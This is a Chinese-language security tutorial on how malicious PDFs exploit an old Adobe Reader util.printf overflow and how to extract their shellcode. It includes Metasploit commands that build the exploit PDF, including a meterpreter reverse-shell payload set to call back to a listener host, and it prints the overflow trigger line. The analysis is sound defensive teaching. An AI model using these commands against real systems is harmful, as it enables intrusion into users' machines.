詳細分析從惡意PDF文檔中提取Payload的方法
概述
當前,PDF的文檔格式非常流行,幾乎人人都會使用到,也正因此,許多攻擊者都將惡意PDF文檔作為感染用戶的一種主要方式。更具有威脅性的是,當前還存在許多Acrobat Reader漏洞的利用方式,攻擊者如果藉助這些漏洞,那麼惡意軟體將以一種隱蔽和直接的方式感染到用戶主機上。
在本文中,我們將主要講解攻擊者如何使用特製的Shellcode製作惡意PDF並觸發漏洞從而執行Payload,你會發現這一過程是多麼簡單。此外,本文將重點對惡意PDF進行分析,以掌握Payload的存儲方式及提取方法。
注意:本篇文章僅側重於技術研究,僅限各位讀者學習交流,請勿用於惡意用途。
關於PDF格式
PDF是一個由Adobe定義的文件格式,該格式的特點是面向對象。在這一格式中,保存了文檔的組織結構,同時也保存了所需的依賴關係(包括字體、圖像等)。這些對象以流的形式存儲在文檔中,並且大多情況下會被編碼或壓縮。下圖是一般PDF文檔的概述。如果想了解更多信息,請閱讀Abode發布的官方規範:http://partners.adobe.com/public/developer/tips/topic_tip31.html 。
攻擊者如何構建惡意PDF
在這裡,我們將嘗試用Metasploit創建一個偽造的PDF,其中包含一個漏洞利用的嘗試,一集一個自定義的Payload(要執行的代碼)。我們利用的漏洞針對特定版本Adobe Reader,因此我們需要找到一個古老的Reader版本(在這裡,要感謝 http://www.oldapps.com/ ),並在目標主機上安裝。
首先,我們來製作這個PDF。我們將製作一個只在主機上打開計算器(calc.exe)的「惡意PDF」,僅用於演示。打開Metasploit控制台,並輸入:
use exploit/windows/fileformat/adobe_utilprintf
set FILENAME malicious.pdf
set PAYLOAD windows/exec
set CMD calc.exeshow options
exploit
如下圖所示:
將剛剛創建的文件(路徑為:/home/osboxes/.msf4/local/malicious.pdf)複製到共享驅動器上,我們需要藉助共享驅動器來傳播該文件。
執行惡意PDF
在目標計算機上,下載並安裝易受攻擊版本的Adobe Reader(根據Metasploit的信息,易受攻擊版本號應該小於8.1.2),因此我選擇安裝了8.1.1版本。
在安裝後,執行malicious.pdf文件,我們能夠看到從Adobe Reader進程派生出的計算器程序,這也就是漏洞利用的成功實現。
同時,我還製作了另一個PDF,但稍微調整了Payload,只是為了好玩:
set PAYLOAD windows/meterpreter/reverse_tcp
set LHOST 192.168.1.29
set LPORT 4455
現在,Adobe Reader就有了一個後門(反向Shell),用於監聽發送到被感染主機的命令。
對惡意PDF的分析
在實際嘗試之後,我們來分析惡意PDF中的內容,也就是嘗試著提取惡意Payload。在這裡,我們仍然使用附帶calc.exe的PDF。
首先,我們需要使用一個名為PDF Stream Dumper的工具,該工具的下載地址是:http://sandsprite.com/blogs/index.php?uid=7&pid=57 。我們先要熟悉該工具,然後使用此工具來載入惡意PDF。
第一步,可以嘗試著利用這個工具的「Exploit Scan」功能,檢測某些潛在漏洞:
Exploit CVE-2008-2992 Date:11.4.08 v8.1.2 - util.printf - found in stream: 6
實際上,在編號為6的流中隱藏了一個漏洞。
我們來詳細分析一下:在PDF中尋找漏洞時,我們大多數情況下會遇到由JavaScript代碼創建的堆噴射(Heap Spray)。這一堆噴射,用於將Payload發送到堆上,一旦漏洞被觸發,就可以執行。
如果打開編號為1的流,可以看到如下內容:
/Type/Catalog/Outlines 2 0 R/Pages 3 0 R/OpenAction 5 0 R
接下來,可以在編號為5的流上,將其轉換為OpenAction。讓我們具體看看:
/Type/Action/S/JavaScript/JS 6 0 R
其中,我們要執行編號為6的流上的JavaScript。這個流中,只顯示JavaScript的簡單內容,我們需要打開「Javascript_UI」菜單來進行詳細查看。通過這一步驟,我們立即識別出一個十六進位編碼的大字元串(Big String),並將其放入變數中,用於堆噴射。我們的Payload如下:
幸運的是,我們有好用的工具來對它進行操縱,並進一步了解它的作用。選擇Payload(引號之間的部分),然後打開「Shellcode_analysis」菜單,然後選擇「scDbg – LibEmu Emulation」,我們就能夠在新打開的窗口中獲得解碼為位元組的Shellcode(也可以將其保存到文件中):
LibEmu是一個能夠模擬處理器的庫,它提供了有關彙編代碼嘗試執行操作的信息,只要點擊「Launch」按鈕即可。
在這裡,我們能夠直觀地看到,Shellcode打開了一個calc.exe窗口,然後就會退出。
讓我們重新對其他惡意PDF(反向Shell)進行相同的分析:
在這裡,Shellcode在載入操作套接字所需的庫(ws2_32.dll),並嘗試連回C&C伺服器。
至此,我還沒有提供漏洞的詳細利用方式,為了防止惡意利用,我只能簡單介紹。這一漏洞位於JavaScript代碼的末尾(正如我們搜索漏洞利用方式時看到的那樣,在編號為6的流中找到了「util.printf」)。該方法是利用printf函數上的緩衝區溢出漏洞來執行惡意代碼,在這裡是我們堆噴射的Shellcode。
util.printf("%45000.45000f", 0);
參考鏈接
http://www.sans.org/reading-room/whitepapers/malicious/owned-malicious-pdf-analysis-33443
http://www.oldapps.com/adobe_reader.php
http://contagiodump.blogspot.fr/2010/08/malicious-documents-archive-for.html
http://contagiodump.blogspot.fr/2013/03/16800-clean-and-11960-malicious-files.html
http://eternal-todo.com/blog/cve-2011-2462-exploit-analysis-peepdf
http://blog.9bplus.com/analyzing-cve-2011-2462/
https://www.fireeye.com/blog/threat-research/2012/07/analysis-of-a-different-pdf-malware.html
http://resources.infosecinstitute.com/analyzing-malicious-pdf/
※新的藍牙高危漏洞被發現,或影響數百萬台設備
※利用發件人策略框架自動進行反網路釣魚攻擊行為偵察
TAG:嘶吼RoarTalk |